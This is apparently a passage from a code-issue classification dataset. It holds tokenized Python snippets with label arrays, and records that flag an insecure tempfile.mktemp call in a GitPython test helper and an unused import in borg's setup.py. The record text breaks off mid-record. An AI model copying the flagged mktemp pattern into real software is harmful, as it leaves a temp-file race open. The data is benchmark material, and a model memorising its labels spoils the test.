"target_", "._", "read", "Block", "Memo", "ry", "Aligned", "32_", "(_", "self_", "._", "begin", "\\u", "data_", ",_", "len_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fla", "sh_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "Program", "Page", "With", "Buffer_", "(_", "self_", ",_", "buffer", "Number_", ",_", "flash", "Ptr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fla", "sh", " ", "one", " ", "page", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "buffer", "Number_", "<_", "len_", "(_", "self_", "._", "page", "\\u", "buffers_", ")_", ",_", "\"", "Inva", "lid", " ", "buffer", " ", "number", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "info", " ", "abo", "ut", " ", "this", " ", "page_", "\\u\\u\\uNL\\u\\u\\u_", "page", "\\u", "info_", "=_", "self_", "._", "get", "Page", "Info_", "(_", "flash", "Ptr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "core", " ", "register", " ", "to", " ", "execute", " ", "the", " ", "program", "\\u", "page", " ", "subro", "utine", "_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "self_", "._", "call", "Function_", "(_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "pc", "\\u", "program", "\\u", "page", "'_", "]_", ",_", "flash", "Ptr_", ",_", "page", "\\u", "info_", "._", "size_", ",_", "self_", "._", "page", "\\u", "buffers_", "[_", "buffer", "Number_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fla", "sh_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "flash", "Binary_", "(_", "self_", ",_", "path", "\\u", "file_", ",_", "flash", "Ptr_", "=_", "None_", ",_", "smart", "\\u", "flash_", "=_", "True_", ",_", "chi", "p", "\\u", "erase_", "=_", "None_", ",_", "progress", "\\u", "cb_", "=_", "None_", ",_", "fast", "\\u", "verify_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fla", "sh", " ", "a", " ", "binar", "y", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "flash", "Ptr_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash", "Ptr_", "=_", "self_", "._", "get", "Fla", "sh", "Info_", "(_", ")_", "._", "rom", "\\u", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "open_", "(_", "path", "\\u", "file_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "path", "\\u", "file_", ",_", "\"", "rb", "\"_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "unpack_", "(_", "str_", "(_", "len_", "(_", "data_", ")_", ")_", "+_", "'", "B", "'_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "flash", "Block_", "(_", "flash", "Ptr_", ",_", "data_", ",_", "smart", "\\u", "flash_", ",_", "chi", "p", "\\u", "erase_", ",_", "progress", "\\u", "cb_", ",_", "fast", "\\u", "verify_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fla", "sh_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wait", "For", "Completi", "on_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "(_", "self_", "._", "target_", "._", "get", "State_", "(_", ")_", "==_", "Target_", "._", "TARGET", "\\u", "RUNNING_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "flash", "\\u", "algo", "\\u", "debug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "analyze", "r", "\\u", "supported_", "=_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "analyze", "r", "\\u", "support", "ed", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected", "\\u", "fp_", "=_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "static", "\\u", "base", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "sp_", "=_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "begin", "\\u", "stack", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "pc_", "=_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "load", "\\u", "address", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "flash", "\\u", "algo_", "=_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "instruct", "ion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "analyze", "r", "\\u", "supported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected", "\\u", "analyzer_", "=_", "analyzer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "final", "\\u", "fp_", "=_", "self_", "._", "target_", "._", "read", "Core", "Register_", "(_", "'", "r", "9", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "final", "\\u", "sp_", "=_", "self_", "._", "target_", "._", "read", "Core", "Register_", "(_", "'", "sp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "final", "\\u", "pc_", "=_", "self_", "._", "target_", "._", "read", "Core", "Register_", "(_", "'", "pc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "-", " ", "uncomm", "ent", " ", "if", " ", "Read", "/", "write", " ", "and", " ", "zero", " ", "init", " ", "section", "s", " ", "can", " ", "be", " ", "moved", " ", "int", "o", " ", "a", " ", "separate", " ", "flash", " ", "algo", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "#", "final", "\\u", "flash", "\\u", "algo", " ", "=", " ", "self", ".", "target", ".", "read", "Block", "Memo", "ry", "Aligned", "32", "(", "self", ".", "flash", "\\u", "algo", "['", "load", "\\u", "address", "']", ",", " ", "len", "(", "self", ".", "flash", "\\u", "algo", "['", "instruct", "ion", "s", "'])", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "analyze", "r", "\\u", "support", "ed", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "final", "\\u", "analyze", "r", " ", "=", " ", "self", ".", "target", ".", "read", "Block", "Memo", "ry", "Aligned", "32", "(", "self", ".", "flash", "\\u", "algo", "['", "analyze", "r", "\\u", "address", "']", ",", " ", "len", "(", "analyze", "r", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "error_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "final", "\\u", "fp_", "!=_", "expected", "\\u", "fp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Frame", " ", "point", "er", " ", "shou", "ld", " ", "not", " ", "change_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "\"", "Frame", " ", "point", "er", " ", "shou", "ld", " ", "be", " ", "0", "x", "%", "x", " ", "but", " ", "is", " ", "0", "x", "%", "x", "\"_", "%_", "(_", "expected", "\\u", "fp_", ",_", "final", "\\u", "fp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "final", "\\u", "sp_", "!=_", "expected", "\\u", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Stack", " ", "point", "er", " ", "shou", "ld", " ", "return", " ", "to", " ", "original", " ", "value", " ", "after", " ", "function", " ", "call_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "\"", "Stack", " ", "point", "er", " ", "shou", "ld", " ", "be", " ", "0", "x", "%", "x", " ", "but", " ", "is", " ", "0", "x", "%", "x", "\"_", "%_", "(_", "expected", "\\u", "sp_", ",_", "final", "\\u", "sp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "final", "\\u", "pc_", "!=_", "expected", "\\u", "pc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "PC", " ", "shou", "ld", " ", "be", " ", "pointi", "ng", " ", "to", " ", "break", "point", " ", "address_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "\"", "PC", " ", "shou", "ld", " ", "be", " ", "0", "x", "%", "x", " ", "but", " ", "is", " ", "0", "x", "%", "x", "\"_", "%_", "(_", "expected", "\\u", "pc_", ",_", "final", "\\u", "pc_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "-", " ", "uncomm", "ent", " ", "if", " ", "Read", "/", "write", " ", "and", " ", "zero", " ", "init", " ", "section", "s", " ", "can", " ", "be", " ", "moved", " ", "int", "o", " ", "a", " ", "separate", " ", "flash", " ", "algo", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "not", " ", "\\u", "same", "(", "expected", "\\u", "flash", "\\u", "algo", ",", " ", "final", "\\u", "flash", "\\u", "algo", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "logg", "ing", ".", "error", "(\"", "Fla", "sh", " ", "algo", "rit", "hm", " ", "overwrit", "ten", "!\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "error", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "analyze", "r", "\\u", "support", "ed", " ", "and", " ", "not", " ", "\\u", "same", "(", "expected", "\\u", "analyze", "r", ",", " ", "final", "\\u", "analyze", "r", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "logg", "ing", ".", "error", "(\"", "Analy", "zer", " ", "overwrit", "ten", "!\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "error", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "error_", "==_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target_", "._", "set", "Vector", "Catch", "Fault_", "(_", "self_", "._", "\\u", "vector", "\\u", "catch", "\\u", "enabled_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target_", "._", "set", "Vector", "Catch", "Reset_", "(_", "self_", "._", "\\u", "reset", "\\u", "catch", "\\u", "enabled_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "target_", "._", "read", "Core", "Register_", "(_", "'", "r", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Insecure temporary file
gitpython-developers/GitPython/git/test/lib/helper.py
[ { "content": "def _mktemp(*args):\n \"\"\"Wrapper around default tempfile.mktemp to fix an osx issue\n :note: the OSX special case was removed as it was unclear why that was needed in the first place. It seems\n to be just fine without it. However, if we leave this special case, and if TMPDIR is set to something custom,\n prefixing /private/ will lead to incorrect paths on OSX.\"\"\"\n tdir = tempfile.mktemp(*args)\n # See :note: above to learn why this is comented out.\n # if sys.platform == 'darwin':\n # tdir = '/private' + tdir\n return tdir", "metadata": "root._mktemp", "header": "['module', '___EOS___']", "index": 66 } ]
[ { "span": "tempfile.mktemp(*args)", "start_line": 71, "start_column": 11, "end_line": 71, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Inse", "cure", "_", "temporar", "y_", "file_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "mktemp_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Wrapper", " ", "aro", "und", " ", "default", " ", "tempfile", ".", "mkt", "emp", " ", "to", " ", "fix", " ", "an", " ", "os", "x", " ", "issue", "\\", "10", ";", " ", " ", " ", " ", ":", "note", ":", " ", "the", " ", "OSX", " ", "special", " ", "case", " ", "was", " ", "remove", "d", " ", "as", " ", "it", " ", "was", " ", "uncl", "ear", " ", "wh", "y", " ", "tha", "t", " ", "was", " ", "need", "ed", " ", "in", " ", "the", " ", "first", " ", "place", ".", " ", "It", " ", "see", "ms", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "be", " ", "just", " ", "fine", " ", "with", "out", " ", "it", ".", " ", "Ho", "we", "ver", ",", " ", "if", " ", "we", " ", "lea", "ve", " ", "this", " ", "special", " ", "case", ",", " ", "and", " ", "if", " ", "TMP", "DIR", " ", "is", " ", "set", " ", "to", " ", "somet", "hing", " ", "custom", ",", "\\", "10", ";", " ", " ", " ", " ", "prefix", "ing", " ", "/", "private", "/", " ", "will", " ", "lead", " ", "to", " ", "incorrect", " ", "path", "s", " ", "on", " ", "OSX", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tdir", "_", "=_", "tempfile_", "._", "mktemp_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "See", " ", ":", "note", ":", " ", "above", " ", "to", " ", "learn", " ", "wh", "y", " ", "this", " ", "is", " ", "come", "nte", "d", " ", "out", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "sys", ".", "platform", " ", "==", " ", "'", "dar", "win", "':", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tdir", " ", "=", " ", "'/", "private", "'", " ", "+", " ", "tdir", "_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "tdir", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
borgbackup/borg/setup.py
[ { "content": "# -*- encoding: utf-8 *-*\nimport os\nimport re\nimport sys\nfrom glob import glob\n\nfrom distutils.command.build import build\nfrom distutils.core import Command\n\nimport textwrap\n\nmin_python = (3, 4)\nmy_python = sys.version_info\n\nif my_python < min_python:\n print(\"Borg requires Python %d.%d or later\" % min_python)\n sys.exit(1)\n\n# Are we building on ReadTheDocs?\non_rtd = os.environ.get('READTHEDOCS')\n\n# msgpack pure python data corruption was fixed in 0.4.6.\n# Also, we might use some rather recent API features.\ninstall_requires = ['msgpack-python>=0.4.6', ]\n\nextras_require = {\n # llfuse 0.40 (tested, proven, ok), needs FUSE version >= 2.8.0\n # llfuse 0.41 (tested shortly, looks ok), needs FUSE version >= 2.8.0\n # llfuse 0.42 (tested shortly, looks ok), needs FUSE version >= 2.8.0\n # llfuse 1.0 (tested shortly, looks ok), needs FUSE version >= 2.8.0\n # llfuse 2.0 will break API\n 'fuse': ['llfuse<2.0', ],\n}\n\nfrom setuptools import setup, Extension\nfrom setuptools.command.sdist import sdist\n\n\ncompress_source = 'borg/compress.pyx'\ncrypto_source = 'borg/crypto.pyx'\nchunker_source = 'borg/chunker.pyx'\nhashindex_source = 'borg/hashindex.pyx'\nplatform_linux_source = 'borg/platform_linux.pyx'\nplatform_darwin_source = 'borg/platform_darwin.pyx'\nplatform_freebsd_source = 'borg/platform_freebsd.pyx'\n\ntry:\n from Cython.Distutils import build_ext\n import Cython.Compiler.Main as cython_compiler\n\n\nexcept ImportError:\n\n compress_source = compress_source.replace('.pyx', '.c')\n crypto_source = crypto_source.replace('.pyx', '.c')\n chunker_source = chunker_source.replace('.pyx', '.c')\n hashindex_source = hashindex_source.replace('.pyx', '.c')\n platform_linux_source = platform_linux_source.replace('.pyx', '.c')\n platform_freebsd_source = platform_freebsd_source.replace('.pyx', '.c')\n platform_darwin_source = platform_darwin_source.replace('.pyx', '.c')\n from distutils.command.build_ext import build_ext\n if not on_rtd and not all(os.path.exists(path) for path in [\n compress_source, crypto_source, chunker_source, hashindex_source,\n platform_linux_source, platform_freebsd_source]):\n raise ImportError('The GIT version of Borg needs Cython. Install Cython or use a released version.')\n\n\n\n\n\n\ninclude_dirs = []\nlibrary_dirs = []\n\npossible_openssl_prefixes = ['/usr', '/usr/local', '/usr/local/opt/openssl', '/usr/local/ssl', '/usr/local/openssl', '/usr/local/borg', '/opt/local']\nif os.environ.get('BORG_OPENSSL_PREFIX'):\n possible_openssl_prefixes.insert(0, os.environ.get('BORG_OPENSSL_PREFIX'))\nssl_prefix = detect_openssl(possible_openssl_prefixes)\nif not ssl_prefix:\n raise Exception('Unable to find OpenSSL >= 1.0 headers. (Looked here: {})'.format(', '.join(possible_openssl_prefixes)))\ninclude_dirs.append(os.path.join(ssl_prefix, 'include'))\nlibrary_dirs.append(os.path.join(ssl_prefix, 'lib'))\n\n\npossible_lz4_prefixes = ['/usr', '/usr/local', '/usr/local/opt/lz4', '/usr/local/lz4', '/usr/local/borg', '/opt/local']\nif os.environ.get('BORG_LZ4_PREFIX'):\n possible_lz4_prefixes.insert(0, os.environ.get('BORG_LZ4_PREFIX'))\nlz4_prefix = detect_lz4(possible_lz4_prefixes)\nif lz4_prefix:\n include_dirs.append(os.path.join(lz4_prefix, 'include'))\n library_dirs.append(os.path.join(lz4_prefix, 'lib'))\nelif not on_rtd:\n raise Exception('Unable to find LZ4 headers. (Looked here: {})'.format(', '.join(possible_lz4_prefixes)))\n\n\nwith open('README.rst', 'r') as fd:\n long_description = fd.read()\n\n\n\n\n\n\ncmdclass = {\n 'build_ext': build_ext,\n 'build_api': build_api,\n 'build_usage': build_usage,\n 'sdist': Sdist\n}\n\next_modules = []\nif not on_rtd:\n ext_modules += [\n Extension('borg.compress', [compress_source], libraries=['lz4'], include_dirs=include_dirs, library_dirs=library_dirs),\n Extension('borg.crypto', [crypto_source], libraries=['crypto'], include_dirs=include_dirs, library_dirs=library_dirs),\n Extension('borg.chunker', [chunker_source]),\n Extension('borg.hashindex', [hashindex_source])\n]\n if sys.platform == 'linux':\n ext_modules.append(Extension('borg.platform_linux', [platform_linux_source], libraries=['acl']))\n elif sys.platform.startswith('freebsd'):\n ext_modules.append(Extension('borg.platform_freebsd', [platform_freebsd_source]))\n elif sys.platform == 'darwin':\n ext_modules.append(Extension('borg.platform_darwin', [platform_darwin_source]))\n\nsetup(\n name='borgbackup',\n use_scm_version={\n 'write_to': 'borg/_version.py',\n },\n author='The Borg Collective (see AUTHORS file)',\n author_email='[email protected]',\n url='https://borgbackup.readthedocs.org/',\n description='Deduplicated, encrypted, authenticated and compressed backups',\n long_description=long_description,\n license='BSD',\n platforms=['Linux', 'MacOS X', 'FreeBSD', 'OpenBSD', 'NetBSD', ],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: POSIX :: BSD :: FreeBSD',\n 'Operating System :: POSIX :: BSD :: OpenBSD',\n 'Operating System :: POSIX :: BSD :: NetBSD',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: POSIX :: Linux',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Security :: Cryptography',\n 'Topic :: System :: Archiving :: Backup',\n ],\n packages=['borg', 'borg.testsuite', ],\n entry_points={\n 'console_scripts': [\n 'borg = borg.archiver:main',\n 'borgfs = borg.archiver:main',\n ]\n },\n cmdclass=cmdclass,\n ext_modules=ext_modules,\n setup_requires=['setuptools_scm>=1.7'],\n install_requires=install_requires,\n extras_require=extras_require,\n)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " class Sdist(sdist):\n", "metadata": "root.Sdist", "header": "['module', '___EOS___']", "index": 50 }, { "content": " def __init__(self, *args, **kwargs):\n for src in glob('borg/*.pyx'):\n cython_compiler.compile(src, cython_compiler.default_options)\n super().__init__(*args, **kwargs)", "metadata": "root.Sdist.__init__", "header": "['class', 'Sdist', '(', 'sdist', ')', ':', '___EOS___']", "index": 51 }, { "content": " def make_distribution(self):\n self.filelist.extend([\n 'borg/compress.c',\n 'borg/crypto.c',\n 'borg/chunker.c', 'borg/_chunker.c',\n 'borg/hashindex.c', 'borg/_hashindex.c',\n 'borg/platform_linux.c',\n 'borg/platform_freebsd.c',\n 'borg/platform_darwin.c',\n ])\n super().make_distribution()", "metadata": "root.Sdist.make_distribution", "header": "['class', 'Sdist', '(', 'sdist', ')', ':', '___EOS___']", "index": 56 }, { "content": " class Sdist(sdist):", "metadata": "root.Sdist", "header": "['module', '___EOS___']", "index": 69 }, { "content": " def __init__(self, *args, **kwargs):\n raise Exception('Cython is required to run sdist')", "metadata": "root.Sdist.__init__", "header": "['class', 'Sdist', '(', 'sdist', ')', ':', '___EOS___']", "index": 70 }, { "content": "def detect_openssl(prefixes):\n for prefix in prefixes:\n filename = os.path.join(prefix, 'include', 'openssl', 'evp.h')\n if os.path.exists(filename):\n with open(filename, 'r') as fd:\n if 'PKCS5_PBKDF2_HMAC(' in fd.read():\n return prefix", "metadata": "root.detect_openssl", "header": "['module', '___EOS___']", "index": 87 }, { "content": "def detect_lz4(prefixes):\n for prefix in prefixes:\n filename = os.path.join(prefix, 'include', 'lz4.h')\n if os.path.exists(filename):\n with open(filename, 'r') as fd:\n if 'LZ4_decompress_safe' in fd.read():\n return prefix", "metadata": "root.detect_lz4", "header": "['module', '___EOS___']", "index": 96 }, { "content": "class build_usage(Command):\n description = \"generate usage for each command\"\n\n user_options = [\n ('output=', 'O', 'output directory'),\n ]\n\n\n\n\n\n", "metadata": "root.build_usage", "header": "['module', '___EOS___']", "index": 133 }, { "content": " def initialize_options(self):\n pass", "metadata": "root.build_usage.initialize_options", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 140 }, { "content": " def finalize_options(self):\n pass", "metadata": "root.build_usage.finalize_options", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 143 }, { "content": " def run(self):\n print('generating usage docs')\n # allows us to build docs without the C modules fully loaded during help generation\n from borg.archiver import Archiver\n parser = Archiver().build_parser(prog='borg')\n choices = {}\n for action in parser._actions:\n if action.choices is not None:\n choices.update(action.choices)\n print('found commands: %s' % list(choices.keys()))\n if not os.path.exists('docs/usage'):\n os.mkdir('docs/usage')\n for command, parser in choices.items():\n print('generating help for %s' % command)\n with open('docs/usage/%s.rst.inc' % command, 'w') as doc:\n if command == 'help':\n for topic in Archiver.helptext:\n params = {\"topic\": topic,\n \"underline\": '~' * len('borg help ' + topic)}\n doc.write(\".. _borg_{topic}:\\n\\n\".format(**params))\n doc.write(\"borg help {topic}\\n{underline}\\n::\\n\\n\".format(**params))\n doc.write(Archiver.helptext[topic])\n else:\n params = {\"command\": command,\n \"underline\": '-' * len('borg ' + command)}\n doc.write(\".. _borg_{command}:\\n\\n\".format(**params))\n doc.write(\"borg {command}\\n{underline}\\n::\\n\\n borg {command}\".format(**params))\n self.write_usage(parser, doc)\n epilog = parser.epilog\n parser.epilog = None\n self.write_options(parser, doc)\n 